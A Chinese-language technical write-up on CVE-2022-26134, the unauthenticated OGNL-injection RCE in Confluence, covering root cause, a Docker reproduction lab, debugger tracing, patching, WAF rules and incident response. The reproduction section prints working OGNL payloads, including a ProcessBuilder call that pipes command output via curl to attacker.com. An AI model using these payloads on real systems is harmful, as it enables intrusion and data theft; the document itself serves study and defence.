
1. 项目概述CVE-2022-26134这个编号在2022年一度让无数企业的安全团队和Atlassian Confluence管理员彻夜难眠。它不是一个普通的漏洞而是一个无需任何身份验证、直接通过构造特定HTTP请求就能在Confluence服务器上执行任意命令的“核弹级”远程代码执行漏洞。想象一下攻击者只需要在浏览器地址栏里输入一个精心构造的URL就能在你的企业内部知识库服务器上为所欲为创建后门、窃取数据、部署勒索软件整个过程可能只需要几秒钟。我处理过不少应急响应事件像这种利用链清晰、影响面巨大的漏洞一旦在公网暴露从扫描器发现到被成功入侵时间窗口往往以小时甚至分钟计。这个漏洞的核心在于Confluence对用户请求中“命名空间”参数的处理存在缺陷导致攻击者注入的OGNL表达式被服务器直接解析执行。OGNL是Object-Graph Navigation Language的缩写在Java Web开发中常用于表达式求值功能强大但也极其危险。Confluence错误地将用户可控的一部分URL路径当作了OGNL表达式来解析这就好比把仓库大门的钥匙直接挂在了门把手上。本文将带你从零开始彻底拆解这个漏洞的来龙去脉。我们会从漏洞的原理分析入手一步步搭建复现环境亲手触发一次命令执行并深入代码层面看看到底是哪一行“开了口子”。更重要的是我会分享在实际防御和应急响应中除了官方补丁之外那些真正有效的缓解措施和排查技巧。无论你是安全研究员想深入理解漏洞细节还是运维工程师急需加固你的Confluence实例这篇文章都能给你一份清晰的路线图。2. 漏洞原理深度解析要理解CVE-2022-26134你不能只停留在“OGNL注入”这个结论上必须搞清楚Confluence的请求处理流水线在哪里“脱了轨”。这就像医生看病得找到病灶的精确位置。2.1 Confluence的请求处理流程与问题入口Confluence基于Struts 2框架更早的WebWork构建。当一个HTTP请求到达时它会经过一系列过滤器最终由ServletDispatcher这个核心分发器来处理。分发器的工作是解析请求决定由哪个Action类来响应。这里就涉及几个关键参数namespace、actionName、method等。正常情况下namespace用于将动作分组比如/space/admin这样的路径。漏洞的根源出在ServletDispatcher.getNamespace()这个方法上。它的本意是从请求的servletPath中提取命名空间。例如对于请求路径/pages/viewpage.actionservletPath就是/pages/viewpage.action而getNamespace会提取最后一个/之前的部分即/pages。问题在于这个提取逻辑没有对输入进行任何安全过滤或验证。攻击者的Payload是这样的/${7*7}/。当这个路径被处理时servletPath变成了/${7*7}/。getNamespace()函数尝试提取最后一个/之前的部分。由于路径是/${7*7}/最后一个/在末尾那么它之前的部分就是/${7*7}。于是namespace的值被设置成了/${7*7}——一个纯粹的OGNL表达式字符串。关键点这里最致命的错误是开发人员假设了servletPath的格式是规整的、由程序控制的而忽略了用户可以直接通过请求URL来控制servletPath的一部分内容。这种“信任用户输入”的思维是许多Web漏洞的共性。2.2 OGNL表达式注入的触发点拿到了一个被污染了的namespace/${7*7}之后灾难并没有立刻发生。它还需要一个“执行引擎”。这个引擎出现在请求处理的另一个阶段——ActionChainResult的执行过程中。在某些特定的请求处理分支里例如涉及页面跳转或链式动作时Confluence会使用ActionChainResult。这个类的execute方法会调用TextParseUtil.translateVariables()。这个方法的职责正是解析字符串中的${...}格式的占位符并用OGNL引擎去求值。于是流程变成了ActionChainResult.execute()-translateVariables(${7*7})-OgnlValueStack.findValue(7*7)- OGNL引擎计算表达式返回结果49。此时OGNL表达式仅仅是被“求值”了还没有达到执行任意代码的地步。但OGNL的强大之处在于它的表达式不仅可以做算术还能调用Java对象的方法、访问静态类、执行构造函数。这就为攻击者打开了一扇通往系统底层的大门。2.3 从表达式求值到命令执行一个能计算7*7的漏洞最多算个高危还称不上“严重”。CVE-2022-26134的可怕之处在于OGNL表达式提供了直接调用运行时执行命令的能力。在Java中执行系统命令通常通过Runtime.getRuntime().exec()或ProcessBuilder来实现。在OGNL中攻击者可以通过以下方式达成目的利用静态方法调用${java.lang.RuntimegetRuntime().exec(calc)}这是一个经典的Payload。类名方法名是OGNL调用静态方法的语法。这里调用了java.lang.Runtime的静态方法getRuntime()获取了运行时对象然后调用了其exec方法。利用构造函数和新实例${new java.lang.ProcessBuilder(whoami).start()}这种方式直接实例化ProcessBuilder对象并启动进程。在实际攻击中由于Web请求和响应是字符串形式的攻击者还需要读取命令执行的结果。他们会使用如${java.lang.ProcessBuilderstart()}配合输入输出流的重定向或者更常见的是使用wget、curl等命令将结果外带到攻击者控制的服务器或者直接写入Web目录下的一个文件中然后通过HTTP访问。实操心得理解沙箱绕过的意义在Confluence 7.15及以后版本Atlassian引入了一个OGNL沙箱来限制表达式可执行的类和方法。这就像给危险的野兽加了个笼子。最初的修复是通过黑名单禁止了像Runtime、ProcessBuilder这样的危险类。但安全研究员很快发现沙箱的逻辑并非无懈可击。例如白名单中允许的一些静态方法如某些工具类的方法其内部实现或返回值可能间接提供了执行代码的途径。攻击者通过更复杂的OGNL表达式链寻找沙箱规则中的逻辑漏洞实现了“带枷锁跳舞”。这告诉我们依赖黑名单或简单沙箱的修复往往只是缓解措施并非根本解决方案。3. 漏洞复现环境搭建与验证“纸上得来终觉浅绝知此事要躬行。”在安全领域亲手复现一个漏洞是理解它的最佳方式。下面我将带你搭建一个安全的、隔离的漏洞环境。3.1 环境准备与依赖安装我们会在一个隔离的Docker环境中进行所有操作确保不会对宿主机或其他网络环境造成影响。1. 基础环境要求操作系统LinuxUbuntu/CentOS或 macOS。Windows用户建议使用WSL2。Docker Docker Compose这是必须的。确保已安装最新稳定版。网络实验环境需要能拉取Docker镜像。2. 创建漏洞环境目录mkdir cve-2022-26134-lab cd cve-2022-26134-lab3. 编写docker-compose.yml这是复现环境的核心配置文件。我们使用vulhub项目维护的漏洞镜像它已经集成了存在漏洞的Confluence版本和所需的数据库。version: 2 services: web: image: vulhub/confluence:7.13.6 # 这是一个明确受影响的版本 ports: - 8090:8090 # Confluence Web界面端口 - 5005:5005 # 远程调试端口便于后续源码分析 depends_on: - db environment: - ATLASSIAN_DEBUGtrue # 开启调试支持 networks: - vuln-net db: image: postgres:12-alpine environment: - POSTGRES_PASSWORDpostgres - POSTGRES_DBconfluence - POSTGRES_USERpostgres volumes: - postgres_data:/var/lib/postgresql/data networks: - vuln-net networks: vuln-net: driver: bridge volumes: postgres_data:注意这里将调试端口映射到了宿主机的5005端口如果你本地5005端口被占用例如其他Java应用调试请修改为其他端口如5050:5005。4. 启动环境docker-compose up -d这个命令会拉取镜像并启动两个容器PostgreSQL数据库和Confluence应用服务器。首次启动Confluence可能需要几分钟时间进行初始化。5. 验证环境查看容器状态docker-compose ps应看到两个容器状态为Up。访问http://localhost:8090。你会看到Confluence的安装引导界面。注意为了纯粹复现漏洞我们不需要完成安装配置。漏洞存在于Confluence的代码逻辑中与是否完成初始化、是否有数据无关。只要服务在8090端口监听漏洞就存在。3.2 漏洞验证与利用环境就绪后我们可以开始验证漏洞是否存在。我们将使用最简单的OGNL表达式进行验证然后演示命令执行。1. 基础表达式验证无害打开你的浏览器或使用curl命令访问以下URLhttp://localhost:8090/%24%7B7*7%7D/或者使用解码后的路径http://localhost:8090/${7*7}/重要提示直接在浏览器地址栏输入${7*7}可能会被浏览器编码或错误解析。最可靠的方式是使用curl命令或者使用Burp Suite、Postman等工具发送原始请求。使用curl命令curl -v http://localhost:8090/%24%7B7*7%7D/或者为了更清晰地看到响应我们可以只关注响应状态码和长度curl -s -o /dev/null -w HTTP Status: %{http_code}, Length: %{size_download}\n http://localhost:8090/%24%7B7*7%7D/如何判断漏洞存在如果漏洞存在服务器在处理这个畸形路径时会尝试计算7*7。这通常会导致两种结果服务器返回一个错误页面HTTP 500或400但在错误信息或日志中可能包含数字49。更常见的是由于表达式解析干扰了正常的请求处理流程服务器会返回一个非标准的HTTP状态码如302重定向到一个错误页或者与正常请求/明显不同的响应内容长度。一个更明显的检测Payload是触发一个延迟http://localhost:8090/%24%7Bjava.lang.Threadsleep(5000)%7D/这个Payload会让当前线程睡眠5秒。如果请求明显比正常请求慢5秒以上那么基本可以断定OGNL表达式被执行了。注意在生产环境检测时慎用睡眠Payload以免对服务造成DoS影响。2. 远程命令执行RCE演示警告此操作仅在你自己搭建的隔离实验环境中进行在OGNL中执行命令我们需要构造一个能调用Runtime.exec()的表达式。但由于URL传输和上下文限制直接写复杂的Java代码比较麻烦。通常我们会利用OGNL创建字符串然后执行。一个经典的用于检测的Payload是执行ping命令通过观察DNS日志或网络流量来判断# 使用curl发送Payload这里尝试执行id命令Linux环境 # 注意需要将命令进行URL编码 curl -v http://localhost:8090/%24%7Bnew%20java.lang.ProcessBuilder%28%27id%27%29.start%28%29%7D/这个Payload会执行id命令。但是在Web环境下你通常看不到命令的输出因为它可能被打印到了服务器的标准输出或标准错误流而Web响应里没有。实战中攻击者如何获取回显他们通常会采用外带技术DNS外带执行如nslookup your-domain.com的命令在你的DNS服务器日志中查看解析记录。HTTP外带使用curl或wget将命令结果作为参数发送到攻击者控制的Web服务器。/${new java.lang.ProcessBuilder(sh,-c,curl http://attacker.com/?resultid|base64).start()}/写入Web目录如果知道Web路径可以将结果写入一个文件。/${new java.lang.ProcessBuilder(sh,-c,id /opt/atlassian/confluence/logs/id.txt).start()}/在我们的实验环境中为了直观看到效果我们可以进入Docker容器内部查看进程或日志# 进入Confluence容器 docker-compose exec web bash # 查看最近运行的进程可能能看到sh或你执行的命令的短暂进程 ps aux | grep -E (sh|bash|id|curl) # 或者查看Catalina输出日志标准输出/错误 tail -f /opt/atlassian/confluence/logs/catalina.out在另一个终端发送上述RCE请求你可能会在日志中看到相关的错误信息如Permission denied这足以证明命令执行尝试发生了。避坑技巧容器内命令执行的环境限制在Docker容器内应用通常以非root用户如confluence运行权限受到严格控制。你可能会发现id命令可以执行但安装新软件包、修改系统关键文件等操作会失败。此外容器内可能没有安装curl或wget。因此在构造Payload时优先使用系统自带的命令如cat、ls、echo、ping等。理解目标环境是成功利用的关键一步。4. 漏洞代码级分析与调试如果你不满足于“黑盒”利用想真正看清漏洞在代码中是如何一步步发生的那么跟着我进行源码调试是必不可少的。这能让你对漏洞的理解从“知道是什么”升华到“知道为什么”。4.1 获取与配置调试环境1. 从容器中提取源码我们的Docker镜像已经包含了Confluence的完整安装。我们需要把其中的Java类文件和库文件复制到本地以便用IDE打开。# 在宿主机上进入之前创建的实验目录 cd cve-2022-26134-lab # 查找Confluence容器的ID docker-compose ps -q web # 将容器内的应用目录复制到本地假设容器ID为abc123请替换 docker cp abc123:/opt/atlassian/confluence ./复制完成后本地会有一个confluence文件夹里面包含WEB-INF目录其中有lib依赖库和classes编译后的类文件等子目录。2. 配置IntelliJ IDEA远程调试在IDEA中创建一个新的空项目。将confluence/WEB-INF/lib下的所有Jar文件以及confluence/WEB-INF/classes目录添加为项目的依赖库。File-Project Structure-Libraries--Java然后选择lib目录。同样将classes目录添加为源码根目录Sources。配置远程调试Run-Edit Configurations--Remote JVM Debug。给配置起个名字如Confluence Debug。Host:填写localhostPort:填写我们在docker-compose.yml中映射的调试端口5005。保存配置。3. 启动容器并开启调试我们的docker-compose.yml中已经配置了调试端口映射。确保容器正在运行。docker-compose up -dConfluence应用启动时会自动加载远程调试参数因为镜像内已预设。现在在IDEA中点击刚刚创建的Confluence Debug配置旁边的调试按钮。如果控制台显示Connected to the target VM, address: localhost:5005说明连接成功。4.2 关键断点定位与单步跟踪现在我们可以开始追踪一个恶意请求的完整生命周期。1. 设置断点根据原理分析我们知道关键点在ServletDispatcher和ActionChainResult。我们在IDEA中搜索并定位以下类和方法com.opensymphony.webwork.dispatcher.ServletDispatcher类中的getNamespace(HttpServletRequest request)方法。同类的serviceAction(HttpServletRequest request, HttpServletResponse response, String namespace, String actionName, ...)方法。com.opensymphony.xwork.ActionChainResult类中的execute(ActionInvocation invocation)方法。com.opensymphony.xwork.util.TextParseUtil类中的translateVariables(String expression, ValueStack stack)方法。在方法入口处打上断点。2. 触发请求并调试使用curl或Burp Suite发送一个验证Payloadcurl http://localhost:8090/%24%7B4*4%7D/IDEA的调试器会在线程收到请求时暂停。3. 跟踪执行流第一步请求进入ServletDispatcher.serviceAction()。单步执行你会看到它调用getNamespace(request)。跟进这个方法观察它如何从request.getServletPath()中获取路径并进行字符串截取。此时变量namespace的值应该变成了/${4*4}。这里就是漏洞的输入点。第二步继续执行程序会根据actionName等寻找对应的Action。由于我们的路径是畸形的很可能找不到对应的Action请求会走入错误处理或默认分支。第三步关注程序何时会跳转到ActionChainResult。这可能发生在Struts的配置中当某个action的结果类型是chain时或者在某些错误处理流程中。当执行流进入ActionChainResult.execute()时重点来了。第四步在ActionChainResult.execute()中你会看到它调用了TextParseUtil.translateVariables()传入的参数正是我们污染的namespace/${4*4}。跟进这个方法。第五步在translateVariables内部它会识别${...}模式然后调用OgnlValueStack.findValue()。继续跟进最终会调用OGNL库的Ognl.getValue()方法。第六步OGNL引擎开始解析表达式4*4计算并返回结果16。这个结果可能会被用于构造重定向URL、错误信息或者直接导致异常。通过一步步跟踪你亲眼看到了用户输入的${4*4}是如何从URL路径变成namespace字符串再被OGNL引擎解析计算的。这个过程就是漏洞的本质。调试心得理解“上下文”的重要性在调试过程中你可能会发现并不是所有请求路径都会触发ActionChainResult。漏洞的触发需要特定的请求处理分支。这解释了为什么漏洞PoC通常使用特定的路径或需要一定的条件。在安全研究中找到稳定触发漏洞的路径即“sink点”是编写可靠利用工具的关键。这也提醒我们在代码审计时不能只关注数据从哪里进来更要关注数据流向了哪里、在什么样的上下文中被使用。5. 影响范围、修复方案与实战防御理解了漏洞原理和利用方式我们最终要落到实际工作上评估风险、修复漏洞、加固系统。5.1 受影响版本与资产排查Atlassian官方给出了明确的受影响版本范围Confluence Server and Data Center 版本 1.3.0且低于以下安全版本 7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 7.18.1排查步骤登录Confluence管理后台http://your-confluence/admin。在“常规配置”或“系统信息”中查看详细的版本号。检查安装目录查看confluence-install/confluence/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties文件中的版本信息。使用API接口访问http://your-confluence/rest/applinks/1.0/manifest返回的JSON中可能包含版本信息。如果你的版本落在上述受影响区间内且服务器暴露在互联网上那么风险极高。需要立即进入应急流程。5.2 官方修复与升级指南Atlassian发布了安全版本修复此漏洞。修复方案并非简单地在getNamespace处做过滤因为那样可能会影响正常功能。官方的修复是在OGNL表达式解析层增加了更严格的沙箱限制。升级步骤备份备份备份这是最重要的步骤。备份你的Confluence Home目录存储附件、页面数据和数据库。停止Confluence服务。下载安全版本安装包从Atlassian官网下载对应你许可证类型Server/Data Center的安全版本。遵循官方升级文档Atlassian提供了详细的升级指南。通常流程是安装新版本软件 - 指向现有的Home目录和数据库 - 启动并运行升级工具。验证升级升级后再次使用简单的检测Payload如/${7*7}/进行验证应返回404错误或正常的登录页面而不再是表达式被执行的行为。注意事项升级的潜在风险兼容性大版本升级如从7.13跳到7.18可能涉及数据库 schema 变更和插件兼容性问题。务必在测试环境充分验证。插件第三方插件可能不兼容新版本导致功能失效。升级前检查插件供应商的兼容性声明。回滚计划必须有明确的回滚方案。如果升级失败要能快速恢复旧版本和数据。5.3 临时缓解措施如果无法立即升级在无法立即安排升级的窗口期必须采取临时缓解措施以降低风险。1. 网络层防护最快速有效WAFWeb应用防火墙在Confluence服务器前部署WAF并紧急更新规则添加对包含${、java.lang、Runtime、ProcessBuilder等关键字的URL路径的拦截规则。但要注意攻击者可能会对Payload进行各种编码变形WAF规则需要足够智能。反向代理规则在Nginx或Apache配置中添加规则拦截可疑请求。# Nginx 示例拦截包含OGNL特征字符的请求 location ~* \$\{.*\} { deny all; return 403; } # 注意此规则可能产生误报需谨慎测试。IP白名单如果Confluence仅限内网或特定IP访问立即配置防火墙策略只允许可信IP访问8090端口。2. 应用层缓解禁用有风险的Servlet/Action这是一个需要深入理解Confluence架构的操作。理论上可以通过修改web.xml或Struts配置文件禁用导致漏洞的请求处理分支。但此操作风险高可能影响正常功能不推荐非专业人员操作。虚拟补丁一些RASP或IAST产品可以提供针对特定CVE的虚拟补丁在应用运行时拦截恶意请求。如果企业已有此类安全产品应第一时间启用相应规则。3. 系统与监控加固最小权限原则确保运行Confluence的Linux用户如confluence权限最小化。它不应该有sudo权限对系统关键目录应只有读权限。加强日志监控集中收集Confluence的访问日志access_log和应用日志catalina.out,atlassian-confluence.log。设置告警规则监控包含异常字符如${,%24%7B的请求。入侵检测在主机层面部署HIDS监控Confluence进程是否异常启动了子进程如sh,bash,curl,wget。5.4 事件应急响应检查清单如果怀疑系统已被入侵请按以下步骤操作隔离系统立即将受影响的Confluence服务器从网络中断开防止横向移动和数据持续外泄。保留证据对系统内存、磁盘进行镜像备份以备后续取证分析。记录下当前系统的网络连接、进程列表。排查入侵痕迹检查进程ps auxf查看有无异常进程特别是由java进程启动的sh、bash、python等。检查网络连接netstat -antp查看有无可疑外连。检查计划任务crontab -l以及/etc/cron.d/,/var/spool/cron/目录。检查Web目录在Confluence的Web根目录如webapps/confluence/及其子目录下查找近期创建的、可疑的JSP、Shell脚本文件如.jsp,.war,.sh。检查用户账户查看/etc/passwd和/etc/shadow有无新增可疑用户。分析日志重点检查漏洞公开时间点之后的访问日志寻找攻击Payload。清除后门在确认所有后门位置后进行清除。但请注意如果攻击者已获得持久化权限简单的文件删除可能不够需要结合系统重建。恢复与重建最安全的方式是从干净的备份中恢复数据到已打好补丁的新系统上。避免在已被入侵的系统上直接修复。CVE-2022-26134是一个教科书式的远程代码执行漏洞它深刻地提醒我们即使是最成熟的企业级软件在复杂的请求处理逻辑中也可能隐藏着致命的解析缺陷。对于防御者而言保持软件更新、实施纵深防御、建立有效的监控和应急响应机制是应对此类0day漏洞的唯一途径。每一次重大漏洞的剖析不仅是为了修复一个点更是为了审视和加固整个安全体系。